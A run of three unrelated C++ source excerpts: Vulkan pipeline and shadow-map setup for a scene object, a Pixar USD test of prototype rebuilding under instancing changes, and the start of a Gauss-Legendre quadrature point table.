// colorBlendAttachment.blendEnable = true;
// colorBlendAttachment.srcColorBlendFactor = VK_BLEND_FACTOR_SRC_ALPHA;
// colorBlendAttachment.dstColorBlendFactor =
// VK_BLEND_FACTOR_ONE_MINUS_SRC_ALPHA;
// colorBlendAttachment.colorBlendOp = VK_BLEND_OP_ADD;
// colorBlendAttachment.srcAlphaBlendFactor = VK_BLEND_FACTOR_ONE;
// colorBlendAttachment.dstAlphaBlendFactor = VK_BLEND_FACTOR_ZERO;
// colorBlendAttachment.alphaBlendOp = VK_BLEND_OP_ADD;
/// TODO get from render pass and material
VkPipelineColorBlendAttachmentState objectIDBlendAttachment = {};
objectIDBlendAttachment.colorWriteMask =
VK_COLOR_COMPONENT_R_BIT | VK_COLOR_COMPONENT_G_BIT |
VK_COLOR_COMPONENT_B_BIT | VK_COLOR_COMPONENT_A_BIT;
objectIDBlendAttachment.blendEnable = false;
objectIDBlendAttachment.srcColorBlendFactor = VK_BLEND_FACTOR_ONE;
objectIDBlendAttachment.dstColorBlendFactor = VK_BLEND_FACTOR_ZERO;
objectIDBlendAttachment.colorBlendOp = VK_BLEND_OP_ADD;
objectIDBlendAttachment.srcAlphaBlendFactor = VK_BLEND_FACTOR_ONE;
objectIDBlendAttachment.dstAlphaBlendFactor = VK_BLEND_FACTOR_ZERO;
objectIDBlendAttachment.alphaBlendOp = VK_BLEND_OP_ADD;
VkPipelineColorBlendAttachmentState normalDepthBlendAttachment = {};
normalDepthBlendAttachment.colorWriteMask =
VK_COLOR_COMPONENT_R_BIT | VK_COLOR_COMPONENT_G_BIT |
VK_COLOR_COMPONENT_B_BIT | VK_COLOR_COMPONENT_A_BIT;
normalDepthBlendAttachment.blendEnable = false;
normalDepthBlendAttachment.srcColorBlendFactor = VK_BLEND_FACTOR_ONE;
normalDepthBlendAttachment.dstColorBlendFactor = VK_BLEND_FACTOR_ZERO;
normalDepthBlendAttachment.colorBlendOp = VK_BLEND_OP_ADD;
normalDepthBlendAttachment.srcAlphaBlendFactor = VK_BLEND_FACTOR_ONE;
normalDepthBlendAttachment.dstAlphaBlendFactor = VK_BLEND_FACTOR_ZERO;
normalDepthBlendAttachment.alphaBlendOp = VK_BLEND_OP_ADD;
VkPipelineColorBlendAttachmentState positionhBlendAttachment = {};
positionhBlendAttachment.colorWriteMask =
VK_COLOR_COMPONENT_R_BIT | VK_COLOR_COMPONENT_G_BIT |
VK_COLOR_COMPONENT_B_BIT | VK_COLOR_COMPONENT_A_BIT;
positionhBlendAttachment.blendEnable = false;
positionhBlendAttachment.srcColorBlendFactor = VK_BLEND_FACTOR_ONE;
positionhBlendAttachment.dstColorBlendFactor = VK_BLEND_FACTOR_ZERO;
positionhBlendAttachment.colorBlendOp = VK_BLEND_OP_ADD;
positionhBlendAttachment.srcAlphaBlendFactor = VK_BLEND_FACTOR_ONE;
positionhBlendAttachment.dstAlphaBlendFactor = VK_BLEND_FACTOR_ZERO;
positionhBlendAttachment.alphaBlendOp = VK_BLEND_OP_ADD;
// colorHDRBlendAttachment.blendEnable = true;
// colorHDRBlendAttachment.srcColorBlendFactor = VK_BLEND_FACTOR_SRC_ALPHA;
// colorHDRBlendAttachment.dstColorBlendFactor =
// VK_BLEND_FACTOR_ONE_MINUS_SRC_ALPHA;
// colorHDRBlendAttachment.colorBlendOp = VK_BLEND_OP_ADD;
// colorHDRBlendAttachment.srcAlphaBlendFactor = VK_BLEND_FACTOR_ONE;
// colorHDRBlendAttachment.dstAlphaBlendFactor = VK_BLEND_FACTOR_ZERO;
// colorHDRBlendAttachment.alphaBlendOp = VK_BLEND_OP_ADD;
std::array colorBlendAttachments{ colorBlendAttachment,
objectIDBlendAttachment,
normalDepthBlendAttachment,
positionhBlendAttachment };
/// TODO get from render pass
vk::PipelineColorBlendStateCreateInfo colorBlending;
colorBlending.logicOpEnable = false;
colorBlending.logicOp = VK_LOGIC_OP_COPY;
colorBlending.attachmentCount = uint32_t(colorBlendAttachments.size());
colorBlending.pAttachments = colorBlendAttachments.data();
colorBlending.blendConstants[0] = 0.0f;
colorBlending.blendConstants[1] = 0.0f;
colorBlending.blendConstants[2] = 0.0f;
colorBlending.blendConstants[3] = 0.0f;
vk::PipelineDepthStencilStateCreateInfo depthStencil;
depthStencil.depthTestEnable = true;
depthStencil.depthWriteEnable = true;
depthStencil.depthCompareOp = VK_COMPARE_OP_LESS;
depthStencil.depthBoundsTestEnable = false;
depthStencil.minDepthBounds = 0.0f; // Optional
depthStencil.maxDepthBounds = 1.0f; // Optional
depthStencil.stencilTestEnable = false;
// depthStencil.front; // Optional
// depthStencil.back; // Optional
std::array dynamicStates = {
VK_DYNAMIC_STATE_VIEWPORT,
VK_DYNAMIC_STATE_SCISSOR,
};
vk::PipelineDynamicStateCreateInfo dynamicState;
dynamicState.dynamicStateCount = uint32_t(dynamicStates.size());
dynamicState.pDynamicStates = dynamicStates.data();
vk::GraphicsPipelineCreateInfo pipelineInfo;
pipelineInfo.stageCount = uint32_t(shaderStages.size());
pipelineInfo.pStages = shaderStages.data();
pipelineInfo.pVertexInputState = &vertexInputState.vertexInputInfo;
pipelineInfo.pInputAssemblyState = &inputAssembly;
pipelineInfo.pViewportState = &viewportState;
pipelineInfo.pRasterizationState = &rasterizer;
pipelineInfo.pMultisampleState = &multisampling;
pipelineInfo.pDepthStencilState = &depthStencil;
pipelineInfo.pColorBlendState = &colorBlending;
pipelineInfo.pDynamicState = &dynamicState;
pipelineInfo.layout = pipelineLayout;
pipelineInfo.renderPass = renderPass;
pipelineInfo.subpass = 0;
pipelineInfo.basePipelineHandle = nullptr;
pipelineInfo.basePipelineIndex = -1;
pipeline = vk.create(pipelineInfo);
if (!pipeline)
{
std::cerr << "error: failed to create graphics pipeline" << std::endl;
abort();
}
#pragma endregion
}
void SceneObject::Pipeline::bindPipeline(CommandBuffer& cb)
{
cb.bindPipeline(VK_PIPELINE_BIND_POINT_GRAPHICS, pipeline);
}
void SceneObject::Pipeline::bindDescriptorSet(CommandBuffer& cb)
{
std::array<VkDescriptorSet, 3> descriptorSets{
scene.get()->descriptorSet(),
material.get()->material().shadingModel().m_descriptorSet,
material.get()->material().descriptorSet(),
};
cb.bindDescriptorSets(VK_PIPELINE_BIND_POINT_GRAPHICS, pipelineLayout, 0,
uint32_t(descriptorSets.size()),
descriptorSets.data());
}
void SceneObject::Pipeline::draw(CommandBuffer& cb) { mesh.get()->draw(cb); }
SceneObject::ShadowmapPipeline::ShadowmapPipeline(Scene& s, StandardMesh& mesh,
MaterialInterface& material,
VkRenderPass renderPass)
: scene(&s),
mesh(&mesh),
material(&material),
renderPass(renderPass)
{
auto& rw = material.material().renderWindow();
auto& vk = rw.device();
#pragma region vertexShader
{
using namespace sdw;
VertexWriter writer;
Scene::SceneUbo sceneUbo(writer);
Scene::ModelUbo modelUbo(writer);
Scene::ModelPcb modelPcb(writer);
auto inPosition = writer.declInput<Vec4>("fragPosition", 0);
auto out = writer.getOut();
auto materialVertexShaderBuildData =
material.material().instantiateVertexShaderBuildData();
auto materialVertexFunction = material.material().vertexFunction(
writer, materialVertexShaderBuildData.get());
writer.implementMain([&]() {
auto model = modelUbo.getModel()[modelPcb.getModelId()];
auto view = sceneUbo.getShadowView();
auto proj = sceneUbo.getShadowProj();
out.vtx.position = proj * view * model * inPosition;
});
std::vector<uint32_t> bytecode =
spirv::serialiseSpirv(writer.getShader());
vk::ShaderModuleCreateInfo createInfo;
createInfo.codeSize = bytecode.size() * sizeof(*bytecode.data());
createInfo.pCode = bytecode.data();
vertexModule = vk.create(createInfo);
if (!vertexModule)
{
std::cerr << "error: failed to create vertex shader module"
<< std::endl;
abort();
}
}
#pragma endregion
#pragma region fragmentShader
{
using namespace sdw;
FragmentWriter writer;
writer.implementMain([&]() {
});
std::vector<uint32_t> bytecode =
spirv::serialiseSpirv(writer.getShader());
vk::ShaderModuleCreateInfo createInfo;
createInfo.codeSize = bytecode.size() * sizeof(*bytecode.data());
createInfo.pCode = bytecode.data();
fragmentModule = vk.create(createInfo);
if (!fragmentModule)
{
std::cerr << "error: failed to create fragment shader module"
<< std::endl;
abort();
}
}
#pragma endregion
#pragma region pipeline layout
VkPushConstantRange pcRange{};
pcRange.size = sizeof(PcbStruct);
pcRange.stageFlags = VK_SHADER_STAGE_VERTEX_BIT;
std::array descriptorSetLayouts{
scene.get()->descriptorSetLayout(),
material.material().shadingModel().m_descriptorSetLayout.get(),
material.material().descriptorSetLayout(),
};
vk::PipelineLayoutCreateInfo pipelineLayoutInfo;
pipelineLayoutInfo.setLayoutCount = uint32_t(descriptorSetLayouts.size());
pipelineLayoutInfo.pSetLayouts = descriptorSetLayouts.data();
// pipelineLayoutInfo.setLayoutCount = 0;
// pipelineLayoutInfo.pSetLayouts = nullptr;
pipelineLayoutInfo.pushConstantRangeCount = 1;
pipelineLayoutInfo.pPushConstantRanges = &pcRange;
// pipelineLayoutInfo.pushConstantRangeCount = 0;
// pipelineLayoutInfo.pPushConstantRanges = nullptr;
pipelineLayout = vk.create(pipelineLayoutInfo);
if (!pipelineLayout)
{
std::cerr << "error: failed to create pipeline layout" << std::endl;
abort();
}
#pragma endregion
#pragma region pipeline
vk::PipelineShaderStageCreateInfo vertShaderStageInfo;
vertShaderStageInfo.stage = VK_SHADER_STAGE_VERTEX_BIT;
vertShaderStageInfo.module = vertexModule;
vertShaderStageInfo.pName = "main";
vk::PipelineShaderStageCreateInfo fragShaderStageInfo;
fragShaderStageInfo.stage = VK_SHADER_STAGE_FRAGMENT_BIT;
fragShaderStageInfo.module = fragmentModule;
fragShaderStageInfo.pName = "main";
std::array shaderStages = { vertShaderStageInfo, fragShaderStageInfo };
VertexInputState vertexInputState = mesh.positionOnlyVertexInputState();
vk::PipelineInputAssemblyStateCreateInfo inputAssembly;
inputAssembly.topology = VK_PRIMITIVE_TOPOLOGY_TRIANGLE_LIST;
// inputAssembly.topology = VK_PRIMITIVE_TOPOLOGY_POINT_LIST;
inputAssembly.primitiveRestartEnable = false;
VkViewport viewport = {};
viewport.x = 0.0f;
viewport.y = 0.0f;
/// TODO get from render pass
viewport.width = float(1280);
viewport.height = float(720);
viewport.minDepth = 0.0f;
viewport.maxDepth = 1.0f;
VkRect2D scissor = {};
scissor.offset = { 0, 0 };
/// TODO get from render pass
scissor.extent.width = 1280;
scissor.extent.height = 720;
vk::PipelineViewportStateCreateInfo viewportState;
viewportState.viewportCount = 1;
viewportState.pViewports = &viewport;
viewportState.scissorCount = 1;
viewportState.pScissors = &scissor;
vk::PipelineRasterizationStateCreateInfo rasterizer;
rasterizer.depthClampEnable = false;
rasterizer.rasterizerDiscardEnable = false;
rasterizer.polygonMode = VK_POLYGON_MODE_FILL;
// rasterizer.polygonMode = VK_POLYGON_MODE_LINE;
rasterizer.lineWidth = 1.0f;
rasterizer.cullMode = VK_CULL_MODE_BACK_BIT;
rasterizer.frontFace = VK_FRONT_FACE_COUNTER_CLOCKWISE;
rasterizer.depthBiasEnable = false;
rasterizer.depthBiasConstantFactor = 0.0f;
rasterizer.depthBiasClamp = 0.0f;
rasterizer.depthBiasSlopeFactor = 0.0f;
/// TODO get from render pass
vk::PipelineMultisampleStateCreateInfo multisampling;
multisampling.sampleShadingEnable = false;
multisampling.rasterizationSamples = VK_SAMPLE_COUNT_1_BIT;
multisampling.minSampleShading = 1.0f;
multisampling.pSampleMask = nullptr;
multisampling.alphaToCoverageEnable = false;
multisampling.alphaToOneEnable = false;
/// TODO get from render pass and material
/*
VkPipelineColorBlendAttachmentState colorBlendAttachment = {};
colorBlendAttachment.colorWriteMask =
VK_COLOR_COMPONENT_R_BIT | VK_COLOR_COMPONENT_G_BIT |
VK_COLOR_COMPONENT_B_BIT | VK_COLOR_COMPONENT_A_BIT;
colorBlendAttachment.blendEnable = false;
colorBlendAttachment.srcColorBlendFactor = VK_BLEND_FACTOR_ONE;
colorBlendAttachment.dstColorBlendFactor = VK_BLEND_FACTOR_ZERO;
colorBlendAttachment.colorBlendOp = VK_BLEND_OP_ADD;
colorBlendAttachment.srcAlphaBlendFactor = VK_BLEND_FACTOR_ONE;
colorBlendAttachment.dstAlphaBlendFactor = VK_BLEND_FACTOR_ZERO;
colorBlendAttachment.alphaBlendOp = VK_BLEND_OP_ADD;
// colorBlendAttachment.blendEnable = true;
// colorBlendAttachment.srcColorBlendFactor = VK_BLEND_FACTOR_SRC_ALPHA;
// colorBlendAttachment.dstColorBlendFactor =
// VK_BLEND_FACTOR_ONE_MINUS_SRC_ALPHA;
// colorBlendAttachment.colorBlendOp = VK_BLEND_OP_ADD;
// colorBlendAttachment.srcAlphaBlendFactor = VK_BLEND_FACTOR_ONE;
// colorBlendAttachment.dstAlphaBlendFactor = VK_BLEND_FACTOR_ZERO;
// colorBlendAttachment.alphaBlendOp = VK_BLEND_OP_ADD;
/// TODO get from render pass and material
VkPipelineColorBlendAttachmentState objectIDBlendAttachment = {};
objectIDBlendAttachment.colorWriteMask =
VK_COLOR_COMPONENT_R_BIT | VK_COLOR_COMPONENT_G_BIT |
VK_COLOR_COMPONENT_B_BIT | VK_COLOR_COMPONENT_A_BIT;
objectIDBlendAttachment.blendEnable = false;
objectIDBlendAttachment.srcColorBlendFactor = VK_BLEND_FACTOR_ONE;
objectIDBlendAttachment.dstColorBlendFactor = VK_BLEND_FACTOR_ZERO;
objectIDBlendAttachment.colorBlendOp = VK_BLEND_OP_ADD;
objectIDBlendAttachment.srcAlphaBlendFactor = VK_BLEND_FACTOR_ONE;
objectIDBlendAttachment.dstAlphaBlendFactor = VK_BLEND_FACTOR_ZERO;
objectIDBlendAttachment.alphaBlendOp = VK_BLEND_OP_ADD;
// colorHDRBlendAttachment.blendEnable = true;
// colorHDRBlendAttachment.srcColorBlendFactor = VK_BLEND_FACTOR_SRC_ALPHA;
// colorHDRBlendAttachment.dstColorBlendFactor =
// VK_BLEND_FACTOR_ONE_MINUS_SRC_ALPHA;
// colorHDRBlendAttachment.colorBlendOp = VK_BLEND_OP_ADD;
// colorHDRBlendAttachment.srcAlphaBlendFactor = VK_BLEND_FACTOR_ONE;
// colorHDRBlendAttachment.dstAlphaBlendFactor = VK_BLEND_FACTOR_ZERO;
// colorHDRBlendAttachment.alphaBlendOp = VK_BLEND_OP_ADD;
std::array colorBlendAttachments{ colorBlendAttachment,
objectIDBlendAttachment };
//*/
/// TODO get from render pass
vk::PipelineColorBlendStateCreateInfo colorBlending;
colorBlending.logicOpEnable = false;
colorBlending.logicOp = VK_LOGIC_OP_COPY;
// colorBlending.attachmentCount = uint32_t(colorBlendAttachments.size());
// colorBlending.pAttachments = colorBlendAttachments.data();
colorBlending.attachmentCount = 0;
colorBlending.pAttachments = nullptr;
colorBlending.blendConstants[0] = 0.0f;
colorBlending.blendConstants[1] = 0.0f;
colorBlending.blendConstants[2] = 0.0f;
colorBlending.blendConstants[3] = 0.0f;
vk::PipelineDepthStencilStateCreateInfo depthStencil;
depthStencil.depthTestEnable = true;
depthStencil.depthWriteEnable = true;
depthStencil.depthCompareOp = VK_COMPARE_OP_LESS;
depthStencil.depthBoundsTestEnable = false;
depthStencil.minDepthBounds = 0.0f; // Optional
depthStencil.maxDepthBounds = 1.0f; // Optional
depthStencil.stencilTestEnable = false;
// depthStencil.front; // Optional
// depthStencil.back; // Optional
std::array dynamicStates = {
VK_DYNAMIC_STATE_VIEWPORT,
VK_DYNAMIC_STATE_SCISSOR,
};
vk::PipelineDynamicStateCreateInfo dynamicState;
dynamicState.dynamicStateCount = uint32_t(dynamicStates.size());
dynamicState.pDynamicStates = dynamicStates.data();
vk::GraphicsPipelineCreateInfo pipelineInfo;
pipelineInfo.stageCount = uint32_t(shaderStages.size());
pipelineInfo.pStages = shaderStages.data();
pipelineInfo.pVertexInputState = &vertexInputState.vertexInputInfo;
pipelineInfo.pInputAssemblyState = &inputAssembly;
pipelineInfo.pViewportState = &viewportState;
pipelineInfo.pRasterizationState = &rasterizer;
pipelineInfo.pMultisampleState = &multisampling;
pipelineInfo.pDepthStencilState = &depthStencil;
pipelineInfo.pColorBlendState = &colorBlending;
pipelineInfo.pDynamicState = &dynamicState;
pipelineInfo.layout = pipelineLayout;
pipelineInfo.renderPass = renderPass;
pipelineInfo.subpass = 0;
pipelineInfo.basePipelineHandle = nullptr;
pipelineInfo.basePipelineIndex = -1;
pipeline = vk.create(pipelineInfo);
if (!pipeline)
{
std::cerr << "error: failed to create graphics pipeline" << std::endl;
abort();
}
#pragma endregion
}
void SceneObject::ShadowmapPipeline::bindPipeline(CommandBuffer& cb)
{
cb.bindPipeline(VK_PIPELINE_BIND_POINT_GRAPHICS, pipeline);
}
void SceneObject::ShadowmapPipeline::bindDescriptorSet(CommandBuffer& cb)
{
std::array<VkDescriptorSet, 3> descriptorSets{
scene.get()->descriptorSet(),
material.get()->material().shadingModel().m_descriptorSet,
material.get()->material().descriptorSet(),
};
cb.bindDescriptorSets(VK_PIPELINE_BIND_POINT_GRAPHICS, pipelineLayout, 0,
uint32_t(descriptorSets.size()),
descriptorSets.data());
}
void SceneObject::ShadowmapPipeline::draw(CommandBuffer& cb)
{
mesh.get()->drawPositions(cb);
}
SceneObject::SceneObject(Scene& s) : m_scene(&s) {}
void SceneObject::draw(CommandBuffer& cb, VkRenderPass renderPass,
std::optional<VkViewport> viewport,
std::optional<VkRect2D> scissor)
{
if (m_scene && m_mesh && m_material)
{
Pipeline* pipeline;
auto foundPipeline = m_pipelines.find(renderPass);
if (foundPipeline == m_pipelines.end())
{
auto it = m_pipelines
.insert(std::make_pair(
renderPass, Pipeline(*m_scene, *m_mesh,
*m_material, renderPass)))
.first;
pipeline = &it->second;
}
else
{
pipeline = &foundPipeline->second;
}
pipeline->bindPipeline(cb);
if (viewport.has_value())
cb.setViewport(viewport.value());
if (scissor.has_value())
cb.setScissor(scissor.value());
pipeline->bindDescriptorSet(cb);
PcbStruct pcbStruct;
pcbStruct.modelIndex = id;
pcbStruct.materialInstanceIndex = m_material.get()->index();
cb.pushConstants(
pipeline->pipelineLayout,
VK_SHADER_STAGE_VERTEX_BIT | VK_SHADER_STAGE_FRAGMENT_BIT, 0,
&pcbStruct);
pipeline->draw(cb);
}
}
void SceneObject::drawShadowmapPass(CommandBuffer& cb, VkRenderPass renderPass,
std::optional<VkViewport> viewport,
std::optional<VkRect2D> scissor)
{
if (m_scene && m_mesh && m_material)
{
ShadowmapPipeline* pipeline;
auto foundPipeline = m_shadowmapPipelines.find(renderPass);
if (foundPipeline == m_shadowmapPipelines.end())
{
auto it = m_shadowmapPipelines
.insert(std::make_pair(
renderPass,
ShadowmapPipeline(*m_scene, *m_mesh, *m_material,
renderPass)))
.first;
pipeline = &it->second;
}
else
{
pipeline = &foundPipeline->second;
}
pipeline->bindPipeline(cb);
if (viewport.has_value())
cb.setViewport(viewport.value());
if (scissor.has_value())
cb.setScissor(scissor.value());
pipeline->bindDescriptorSet(cb);
PcbStruct pcbStruct;
pcbStruct.modelIndex = id;
pcbStruct.materialInstanceIndex = m_material.get()->index();
cb.pushConstants(pipeline->pipelineLayout, VK_SHADER_STAGE_VERTEX_BIT,
0, &pcbStruct);
pipeline->draw(cb);
}
}
} // namespace cdm
| 29,399 | 11,177 |
//
// Copyright 2020 Pixar
//
// Licensed under the Apache License, Version 2.0 (the "Apache License")
// with the following modification; you may not use this file except in
// compliance with the Apache License and the following modification to it:
// Section 6. Trademarks. is deleted and replaced with:
//
// 6. Trademarks. This License does not grant permission to use the trade
// names, trademarks, service marks, or product names of the Licensor
// and its affiliates, except as required to comply with Section 4(c) of
// the License and to reproduce the content of the NOTICE file.
//
// You may obtain a copy of the Apache License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the Apache License with the above modification is
// distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the Apache License for the specific
// language governing permissions and limitations under the Apache License.
//
#include "pxr/usd/pcp/primIndex.h"
#include "pxr/usd/sdf/changeBlock.h"
#include "pxr/usd/sdf/primSpec.h"
#include "pxr/usd/sdf/layer.h"
#include "pxr/usd/usd/prim.h"
#include "pxr/usd/usd/stage.h"
#include <iostream>
#include <string>
PXR_NAMESPACE_USING_DIRECTIVE
// Apply changes such that an instance not represening the sourcePrimIndex for a
// prototype is changed, and significant change is pseudoRoot (by adding a dummy
// sublayer to it)
PXR_NAMESPACE_OPEN_SCOPE
const PcpPrimIndex &
Usd_PrimGetSourcePrimIndex(const UsdPrim& prim)
{
return prim._GetSourcePrimIndex();
}
PXR_NAMESPACE_CLOSE_SCOPE
/// Test to verify prototypes are appropriately changed when "/" is changed
void
TestInstancing_1()
{
std::string rootLayer = "./rootLayer.usda";
// determine what instance to unset
UsdStageRefPtr stage = UsdStage::Open(rootLayer);
const UsdPrim& prototypePrim =
stage->GetPrimAtPath(SdfPath("/instancer1/Instance0")).GetPrototype();
const SdfPath sourcePrimIndexPath =
Usd_PrimGetSourcePrimIndex(prototypePrim).GetRootNode().GetPath();
const SdfPath& instancePathToUnset =
(sourcePrimIndexPath.GetName() == "Instance0") ?
SdfPath("/instancer1/Instance1") :
SdfPath("/instancer1/Instance0");
SdfLayerRefPtr rootLayerPtr = stage->GetRootLayer();
SdfLayerRefPtr subLayerPtr =
SdfLayer::FindOrOpen(rootLayerPtr->GetSubLayerPaths()[0]);
SdfPrimSpecHandle instancePrimToUnset =
subLayerPtr->GetPrimAtPath(instancePathToUnset);
const PcpPrimIndex* origPrimIndexForSource =
&(stage->GetPrimAtPath(sourcePrimIndexPath).GetPrimIndex());
SdfLayerRefPtr anonymousLayer = SdfLayer::CreateAnonymous(".usda");
SdfPrimSpecHandle dummpPrim =
SdfCreatePrimInLayer(anonymousLayer, SdfPath("/dummy"));
{
SdfChangeBlock block;
// unset instance
instancePrimToUnset->SetInstanceable(false);
// make a dummy change to sublayers - to trigger a significant change of
// "/" - makes sure prototype are rebuild, since all prim indexes are
// invalid and new ones are generated as part of this "/" change.
rootLayerPtr->SetSubLayerPaths({subLayerPtr->GetIdentifier(),
anonymousLayer->GetIdentifier()});
}
const UsdPrim& newPrototypePrim =
stage->GetPrimAtPath(sourcePrimIndexPath).GetPrototype();
const PcpPrimIndex* newPrimIndexForSource =
&(stage->GetPrimAtPath(sourcePrimIndexPath).GetPrimIndex());
// Prototype's sourcePrimIndexPath is unchanged, and primIndex for this
// prototype's source index should have been recomputed, since "/" change
// would have triggered a pcpIndexRecompute for everything
TF_VERIFY((prototypePrim.GetPath() == newPrototypePrim.GetPath()) &&
origPrimIndexForSource != newPrimIndexForSource);
}
/// Test to verify prototype for an instance is updated if its correspoding
/// sourcePrim is updated because of parent being recomposed.
void
TestInstancing_2()
{
std::string rootLayer = "./secondRoot.usda";
// determine which instance to update
UsdStageRefPtr stage = UsdStage::Open(rootLayer);
const UsdPrim& prototypePrim =
stage->GetPrimAtPath(SdfPath("/Ref1/instance1")).GetPrototype();
const SdfPath sourcePrimIndexPath =
Usd_PrimGetSourcePrimIndex(prototypePrim).GetRootNode().GetPath();
const SdfPath& instancePathToUnset =
(sourcePrimIndexPath.GetName() == "instance1") ?
SdfPath("/Ref1/instance2") :
SdfPath("/Ref1/instance1");
const PcpPrimIndex* origPrimIndexForSource =
&(stage->GetPrimAtPath(sourcePrimIndexPath).GetPrimIndex());
SdfPrimSpecHandle ref1PrimSpec =
stage->GetRootLayer()->GetPrimAtPath(SdfPath("/Ref1"));
SdfPrimSpecHandle instancePrimToUnset =
stage->GetRootLayer()->GetPrimAtPath(instancePathToUnset);
SdfPrimSpecHandle dummyPrim =
SdfCreatePrimInLayer(stage->GetRootLayer(), SdfPath("/dummy"));
SdfReference dummyReference("", dummyPrim->GetPath());
// Test if a significant change in "/Ref1" triggers a rebuild of the
// prototype since prior prim indexes for the source instance would have
// been changed
{
SdfChangeBlock block;
// unset instance
instancePrimToUnset->SetInstanceable(false);
// Add a reference to /ref1 to trigger a /ref1 change at pcp level
ref1PrimSpec->GetReferenceList().Add(dummyReference);
}
const UsdPrim& newPrototypePrim =
stage->GetPrimAtPath(sourcePrimIndexPath).GetPrototype();
const PcpPrimIndex* newPrimIndexForSource =
&(stage->GetPrimAtPath(sourcePrimIndexPath).GetPrimIndex());
// Prototype's sourcePrimIndexPath is unchanged, and primIndex for this
// prototype's source index should have been recomputed, since "/Ref1"
// change would have triggered a pcpIndexRecompute because of the added
// reference
TF_VERIFY((prototypePrim.GetPath() == newPrototypePrim.GetPath()) &&
origPrimIndexForSource != newPrimIndexForSource);
}
/// Test to verify prototype is not updated when sourcePrim is corresponding to
/// this is not updated, but parent of other instances is changed.
void
TestInstancing_3()
{
std::string rootLayer = "./thirdRoot.usda";
// determine which instance to update
UsdStageRefPtr stage = UsdStage::Open(rootLayer);
const UsdPrim& prototypePrim =
stage->GetPrimAtPath(SdfPath("/Ref1/instance1")).GetPrototype();
const SdfPath& sourcePrimIndexPath =
Usd_PrimGetSourcePrimIndex(prototypePrim).GetRootNode().GetPath();
SdfPath parentPathToRecompose = SdfPath("/Ref2");
if (sourcePrimIndexPath.HasPrefix(parentPathToRecompose)) {
parentPathToRecompose = SdfPath("/Ref1");
}
const PcpPrimIndex* origPrimIndexForSource =
&(stage->GetPrimAtPath(sourcePrimIndexPath).GetPrimIndex());
SdfPrimSpecHandle refPrimSpec =
stage->GetRootLayer()->GetPrimAtPath(parentPathToRecompose);
SdfPrimSpecHandle dummyPrim =
SdfCreatePrimInLayer(stage->GetRootLayer(), SdfPath("/dummy"));
SdfReference dummyReference("", dummyPrim->GetPath());
{
SdfChangeBlock block;
// Add a reference to the parentPathToRecompose prim so as to trigger a
// change in that prim, which does not hold sourceIndex for our
// prototype
refPrimSpec->GetReferenceList().Add(dummyReference);
}
const UsdPrim& newPrototypePrim =
stage->GetPrimAtPath(sourcePrimIndexPath).GetPrototype();
const PcpPrimIndex* newPrimIndexForSource =
&(stage->GetPrimAtPath(sourcePrimIndexPath).GetPrimIndex());
// Prototype's sourcePrimIndexPath is unchanged, and primIndex for this
// prototype's source index should be same since we triggered a change
// to the prim not containing our prototype's sourcePrim
TF_VERIFY((prototypePrim.GetPath() == newPrototypePrim.GetPath()) &&
origPrimIndexForSource == newPrimIndexForSource);
}
int main()
{
TestInstancing_1();
TestInstancing_2();
TestInstancing_3();
}
| 8,283 | 2,407 |
#include "QuadratureUtil.h"
#include <iostream>
#include <math.h>
#include <assert.h>
using namespace std;
void getGaussPoints1D(int ngp, vector<double>& gausspoints, vector<double>& gaussweights)
{
//cout << " ngp = " << ngp << endl;
gausspoints.resize(ngp);
gaussweights.resize(ngp);
switch(ngp)
{
case 1: // 1 Point quadrature rule
gausspoints[0] = 0.0; gaussweights[0] = 2.0;
break;
case 2: //2 Point quadrature rule
gausspoints[0] = -0.577350269189626; gaussweights[0] = 1.0;
gausspoints[1] = 0.577350269189626; gaussweights[1] = 1.0;
break;
case 3: //3 Point quadrature rule
gausspoints[0] = -0.774596669241483; gaussweights[0] = 5.0/9.0;
gausspoints[1] = 0.0; gaussweights[1] = 8.0/9.0;
gausspoints[2] = 0.774596669241483; gaussweights[2] = 5.0/9.0;
break;
case 4: //4 Point quadrature rule
gausspoints[0] = -0.861136311594953; gaussweights[0] = 0.347854845137454;
gausspoints[1] = -0.339981043584856; gaussweights[1] = 0.652145154862546;
gausspoints[2] = 0.339981043584856; gaussweights[2] = 0.652145154862546;
gausspoints[3] = 0.861136311594953; gaussweights[3] = 0.347854845137454;
break;
case 5: //5 Point quadrature rule
gausspoints[0] = -0.906179845938664; gaussweights[0] = 0.236926885056189;
gausspoints[1] = -0.538469310105683; gaussweights[1] = 0.478628670499366;
gausspoints[2] = 0.0; gaussweights[2] = 0.568888888888889;
gausspoints[3] = 0.538469310105683; gaussweights[3] = 0.478628670499366;
gausspoints[4] = 0.906179845938664; gaussweights[4] = 0.236926885056189;
break;
case 6: //6 Point quadrature rule
gausspoints[0] = -0.932469514203152; gaussweights[0] = 0.171324492379170;
gausspoints[1] = -0.661209386466265; gaussweights[1] = 0.360761573048139;
gausspoints[2] = -0.238619186083197; gaussweights[2] = 0.467913934572691;
gausspoints[3] = 0.238619186083197; gaussweights[3] = 0.467913934572691;
gausspoints[4] = 0.661209386466265; gaussweights[4] = 0.360761573048139;
gausspoints[5] = 0.932469514203152; gaussweights[5] = 0.171324492379170;
break;
case 7: //7 Point quadrature rule
gausspoints[0] = -0.9491079123427585245261897; gaussweights[0] = 0.1294849661688696932706114 ;
gausspoints[1] = -0.7415311855993944398638648; gaussweights[1] = 0.2797053914892766679014678 ;
gausspoints[2] = -0.4058451513773971669066064; gaussweights[2] = 0.3818300505051189449503698 ;
gausspoints[3] = 0.0 ; gaussweights[3] = 0.4179591836734693877551020 ;
gausspoints[4] = 0.4058451513773971669066064; gaussweights[4] = 0.3818300505051189449503698 ;
gausspoints[5] = 0.7415311855993944398638648; gaussweights[5] = 0.2797053914892766679014678 ;
gausspoints[6] = 0.9491079123427585245261897; gaussweights[6] = 0.1294849661688696932706114 ;
break;
case 8: //8 Point quadrature rule
gausspoints[0] = -0.96028986; gaussweights[0] = 0.10122854 ;
gausspoints[1] = -0.79666648; gaussweights[1] = 0.22238103 ;
gausspoints[2] = -0.52553241; gaussweights[2] = 0.31370665 ;
gausspoints[3] = -0.18343464; gaussweights[3] = 0.36268378 ;
gausspoints[4] = 0.18343464; gaussweights[4] = 0.36268378 ;
gausspoints[5] = 0.52553241; gaussweights[5] = 0.31370665 ;
gausspoints[6] = 0.79666648; gaussweights[6] = 0.22238103 ;
gausspoints[7] = 0.96028986; gaussweights[7] = 0.10122854 ;
break;
case 9: //9 Point quadrature rule
gaussweights[0] = 0.0812743883615744; gausspoints[0] = -0.9681602395076261;
